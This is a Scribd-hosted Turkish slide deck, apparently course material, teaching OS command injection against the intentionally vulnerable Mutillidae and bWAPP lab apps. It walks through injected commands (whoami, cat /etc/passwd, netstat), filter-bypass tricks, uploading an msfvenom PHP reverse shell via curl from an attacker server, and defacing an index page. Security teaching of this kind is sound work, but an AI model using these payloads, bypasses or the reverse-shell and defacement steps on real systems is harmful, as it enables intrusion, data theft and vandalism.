0% found this document useful (0 votes)
42 views28 pages

6-OS Command Injection

Uploaded by

bayrakmeliksah17
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PPTX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
42 views28 pages

6-OS Command Injection

Uploaded by

bayrakmeliksah17
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PPTX, PDF, TXT or read online on Scribd

Operating System (OS)

Command injection
İnjection
• Kullanıcı tarafından gönderilen veriler, uygulama tarafından kontrol
edilmez veya filtrelenmez ise, hassas bilgiler görüntülenebilir, komutlar
yürütülebilir.
• Saldırganın sağladığı güvenilmez girdiler, bir komutun veya kodun
parçası olarak yorumlanır. Yorumlayıcı (interpreter), bu girdilere
güvenirse, çalışmasını değiştirir. İstenmeyen sonuçlar döndürmesi de bu
çalışma değişikliğine bir örnektir.
OS Command Injection
• OS Command Injection, bir web uygulama zafiyetidir. Saldırganın, bir uygulamayı çalıştıran sunucuda işletim sistemi (OS)
komutlarını yürütmesine olanak sağlayan açıklardır.
• Bu zafiyet OWASP’ın yayınladığı en popüler zafiyetlerde ilk sırada yer alan Injection kategorisi içerisindedir.
• Os Command Injection Sistemi Nasıl Etkiler?
• Bu zafiyet sistem üzerinde izinsiz komut çalıştırma yetkisini saldırganlara vermiş olur.
• Uygulamanın kurulumuna ve onu yürüten işlem yapılandırmasına bağlı olarak, işlemin ayrıcalık düzeyinin artmasına veya
saldırganın tam etkileşimine izin veren uzak bir ters kabuk oluşturmasına neden olabilir.
• Aslında saldırgan sistemin izin verdiği ölçüde hemen hemen her şeyi yapabilir. Bu yüzden çok tehlikeli ve ciddi zararlara yol
açan bir zafiyettir.
OS Command Injection
• Mutillidae nedir?
• OWASP Mutillidae II, web güvenliği meraklıları için bir hedef sağlayan
ücretsiz, açık kaynaklı, kasıtlı olarak savunmasız bir web uygulamasıdır.
• Command enjection Nedir?
• Komut Enjeksiyonu, bir saldırgan web uygulamasından işletim sistemi
komutlarını veya sunucu tarafı komut dosyalarını çalıştırabildiğinde ortaya
çıkar.
• Bu güvenlik açığı, bir web uygulaması, web sayfalarından yaygın olarak
nslookup, whois, ping, traceroute ve daha fazlasını yapmanıza izin
verdiğinde ortaya çıkabilir.
• Beklenen girdinin (örn. [Link]) sonuna bir ";" veya "|" veya "||"
veya "&" veya "&&" eklendiği ve ardından bir komutun (örn. cat
/etc/passwd) geldiği fuzzing adı verilen bir teknik kullanarak güvenlik açığını
test edebilirsiniz.
• Fuzzing, yazılım, işletim sistemleri veya ağlardaki kodlama hatalarını,
güvenlik açıklarını, bugları ve hataları keşfetmek için kullanılan bir test
tekniğidir.
OS Command Injection
• DNS Aramasını Test Et
• Bu sayfa DNS sorgusu yapmak için tasarlanmıştır,,, bir
DNS Araması sağlar.
• Ana Bilgisayar Adı/IP: [Link]
• DNS Ara düğmesine tıklayın
• Sonuçlarınızı Görüntüleyin
OS Command Injection
• DNS Arama Güvenlik Açığını Test Edin
Şimdi, aradığımız ana bilgisayar adının sonuna bir
Unix/Linux komutu eklememize izin verecek bir güvenlik
açığını test edeceğiz.
• Uygulamanın beklediği şeyden sonra bir ";" ekleme
prosedürüne komut bulanıklaştırma denir.
• Aşağıda "uname -a" komutunu çalıştıracaksınız
• Ana bilgisayar adı/IP: [Link]; uname -a
OS Command Injection
• Keşif Gerçekleştirin (Perform Reconnaissance)
• Sizce de belirli bir web sayfası uygulamasının nereden
çalıştığını bilmek güzel olmaz mıydı?
• Şimdi bize mevcut çalışma dizinini göstermek için
"pwd" komutunu çalıştıracağız.
• Ayrıca, Adres Çubuğunda uygulamanın adının dns-
[Link] olduğuna dikkat edin
• Ana bilgisayar adı/IP: [Link]; pwd
• [Link]'nin savunmasız program olduğuna
dikkat edin.
OS Command Injection
• [Link] uygulamasını sorgulayın
• Sadece sırıtmak için, PHP'nin bir sistem çağrısı yürüttüğü kod satırını bulup
bulamayacağımızı görelim.
• Aşağıdaki dizeleri aramak için xargs komutunu kullanacağım, egrep
kullanarak: exec OR system OR virtual.
• [Link]; find /var/www/html/mutillidae -name "[Link]" |
xargs egrep '(exec|system|virtual)‘
• find /var/www/html/mutillidae -name "[Link]": Bu bölüm,
/var/www/html/mutillidae dizininde bulunan tüm dosyaları arar ve isimleri
“[Link]” ile eşleşenleri listeleyecektir. Bu, belirtilen dizindeki tüm
“[Link]” dosyalarını bulur.
• | xargs egrep '(exec|system|virtual)': Bu bölüm, önceki komutun çıktısını
alır ve bu çıktıyı egrep komutuna yönlendirir. egrep, verilen düzenli ifadeyi
arar ve eşleşen satırları görüntüler. Burada, (exec|system|virtual) ifadesi,
satırlarda “exec”, “system” veya “virtual” kelimelerini içeren dosyaları bulur.
• Bu komut, belirtilen dizindeki “[Link]” dosyalarını arar ve bu
dosyalarda “exec”, “system” veya “virtual” kelimelerini içeren satırları
görüntüler
• shell_exec() adında bir fonksiyon olduğuna dikkat edin, bu fonksiyon
aslında Linux komutu olan "nslookup "ı çalıştırmaktadır.
OS Command Injection
• Bu sayfa senaryosu gereği dns lookup işlemi yapıyor. Yani domain girmişsek ip’yi, ip girmişsek domaini çözecek.
• Sarı bölge ile belirttiğim çıktı bir Shell çıktısına benziyor. Belli ki bu sayfa kodunu shell’ den çekmiş.
• Nslookup gibi bir araç kullanarak DNS sonucu döndürüyor. Alınan sonuçlar bir Linux shellinden alınmış gibi. Örneğin
kali shellinden nslookup baktığımızda benzer sonuçlar elde ederiz.
OS Command Injection
• Şimdi sayfada Linux komutları çalıştıralım. “&” operatörü ile hem [Link] dns lookup işlemi yaptırdık hem whoami komutunu
çalıştırdık. Sonuçta bu işlemi ww-data kullanıcısının yaptığını gördük.
• Aslında burda OS injection işlemi yapmış olduk. & operatörü : ilk komut çalıştıktan sonra ikinci komutu çalıştırır. İki tane & operatörü
olsa yani &&: ilk komut başarılı olursa ikinci komutu çalıştır anlamındadır.
OS Command Injection
• Şimdi hedefin işletim sistemini bulalım.
• Bu işlem sırasında & operatörü öncesindeki boşlukları kaldıralım, çünkü bazen boşluklar blacklist karakterler arasına alınabilir.
• Hedefin Linux bir işletim sistemine sahip olduğunu gördük. Kod enjekte edebildiğimizide gördük. Dolayısyla Linux komutları ile daha
detaylı aramalar yapılabilir.
OS Command Injection
• Netstat –a komutu ile hedefin bağlantılarını, hangi bağlantının establish olduğunu hangi bağlantının listen olduğunu görebiliriz.
• Pwd komutu ile bulunduğumuz dizini görebiliriz
OS Command Injection
• Ps –ef ile üzerinde çalışan processleri (işlemleri) gördük
OS Command Injection
• BWAPP OS command injection seçelim
• Bwapp burda bize direk dns lookup yapabileceğimiz bir web sitesi vermiş biz
onun yanına kendi komutlarımızı ekleyeceğiz
• Programlamada da kullanılan Logical Operators (mantıksal operatörler)den biri
olan & (AND) operatörü ilk komut başarıyla tamamlandığı zaman ikinci komutu
çalıştırır. & operatörünü DNS lookup sorgumuza dahil ederek
“[Link]&whoami” komutunu çalıştırdığımızda bizde sunucunun “www-
data” kullanıcısında çalıştığını görüyoruz.
OS Command Injection
• Önce pwd ile bulunduğumuz konuma bakalım
• Sonra Etc/passwd dosyasını okuyup, kullanıcıları ve
kullanıcıların grup id’ lerine bakalım
OS Command Injection
• OS Command Injection-Filter Bypass ile
• Php yada başka bir yazılımda bazı karakterler direk
blacklist’ e alınmış olabilir. Mesela az önce yaptığımız
[Link]&whoami sorgusundaki whoami sorgularını
kapatmış olabilir, & operatörünün önünde arkasında
boşluk kabul etmeyebilir. Bu tip senaryolarda
kullanabileceğimiz bazı bypass filtreleri bulunuyor.
Dolayısyla bu örnekte filtreleri bypass edelim. Aslında
burda shell’ i farklı şekillerde kullanmaya yönelik işlemler
yapıyoruz.
• security level’ ı medium yapalım.
• Medium level’ da whoami sorgusuna yanıt verilmedi. Yani
black liste almış. Yada & operatörü yerin “;” kullanılabilir.
Ama o da çalışmadı
OS Command Injection
• OS Command Injection-Filter Bypass ile
• Bu tip durumlarda bunları bypass etmemiz gerekir. Örneğin pipe “|”
operatörünü deneme yapalım.
• Ve sorguma cevap aldım
• Mesela “|” işareti ve boşluk karakterleri izinli görünüyor ve çıktı üretti.
Boşluk karakteri izinsiz olsaydı boşluk karakteri yerine “<” karakteri
kullanabilirdik.
OS Command Injection
• OS Command Injection-Filter Bypass ile
• Burda daha fazla operatör kullanılabilir. Daha fazla operatörü Shell script operatörlerini araştırıp bularak kullanabiliriz.
• Mesela bazen karşı taraf direk bir kelimeyi balackliste almış olabilir. O zaman kelimeyi Shell ‘ e “\” işareti ile parçalı
gönderebiliriz Shell bunu anlar. Mesela şimdi Whoami kelimesini karşıya parçalı gönderelim
OS Command Injection
• OS Command Injection-Filter Bypass ile
• Echo ve |rev komutları ile bir kelimeyi tersten yazdırıp
gönderebiliriz.
• İlk komut echo, ikinci komut “rev” ile ilk komutun girdisi tersine
çevrildi ve whoami oldu. Devamında 2. Komutun çıktısını 1.
Komutun bin/bash ine girdik ve bize whoami sorgusunun
cevabını döndü. Bu şekilde her zaman çalışmayabilir ama farklı
bir atlatma yöntemi olarak akılda kalmalı.

• Son yaptığımız örneklerden medium seviyede “;” ve “&”


operatörlerinin yasaklandığını “|” operatörünün
yasaklanmadığını gördük.
OS Command Injection
• Bir Zararlı yazılım oluşturup bunu OS command injection ile hedef sisteme yükleyelim
• İlk aşamada msfvenom ile zararli_php_shell adında bir zararlı yazılım oluşturalım.
• İkinci adımda kali makinemizde 8080 portu üzerinden http server açalım ve
OS Command Injection
• Oluşturulan zararlı yazılımı gördük.
• Şimdi OWASP Mutillidae modülünde DNS lookup sayfasına
gelelim tekrar
OS Command Injection
• DNS lookup sayfasında aşağıdaki komutu çalıştıralım.

• [Link] | curl
[Link] --output
[Link]
• Bu komut, [Link] adresini ziyaret eder ve ardından
[Link]:8080 adresindeki zarali_php_shell.php
dosyasını indirip [Link] adıyla kaydeder.
• Ls ile bakınca zararlı yazılımın çekildiğini gördük.

• Not: Browser ın Noproxy modda olması gerekiyor


OS Command Injection
• Şimdi Multi handler açalım. Böylece bize reverse TCP Shell’ in
açıldığını görelim.
OS Command Injection
• Browserda [Link] diyelim ve bize reverse TCP Shell’ in açıldığını görelim.
OS Command Injection kullanarak index
atma
• İ[Link] diye bir dosya oluşturduk ve içine selam yazdırdık. “>” operatörü dosya içine
yazı yazdırmak için kullanıldı.
• Şimdi kırmızı bir sayfaya HACKED BY ILHAN , yazan bir HTML sayfası yapalım. Sonra
bunu enjekte edeceğiz.
OS Command Injection kullanarak index
atma
• Şimdi bu işlemi direk Shell de yapacağız. Sonra gidip bunu komut olarak kullanacağız.
• echo "<h><[Link]=red><center><h1>HACKED BY ILHAN</h1></center></font></h>" > [Link] bu yazım sonrasında [Link]
dosaysı oluşturulur ve içine yazdığımız şeyler yazılır.
OS Command Injection kullanarak index
atma
• şimdi aşağıda [Link] kısmına enjekte edeceğiz.
Dolayısıyla sayfanın yapısı bozulacak. Bu işlemden önce
snapshot alalım ki sayfanın orijinal haline dönebilelim
OS Command Injection kullanarak index
atma
• Şimdi browserda [Link]
yazarsak enjekte ettiğimiz indexi görürüz
• [Link] yazınca da enjekte ettiğimiz
indexi görüyoruz. Sayfa yapısı bozuldu. Aldığımız snapsahottan geri
dönebiliriz.

• Böylelikle OS command injection kullanarak index atma saldırısı


gerçekleştirdik.

You might also like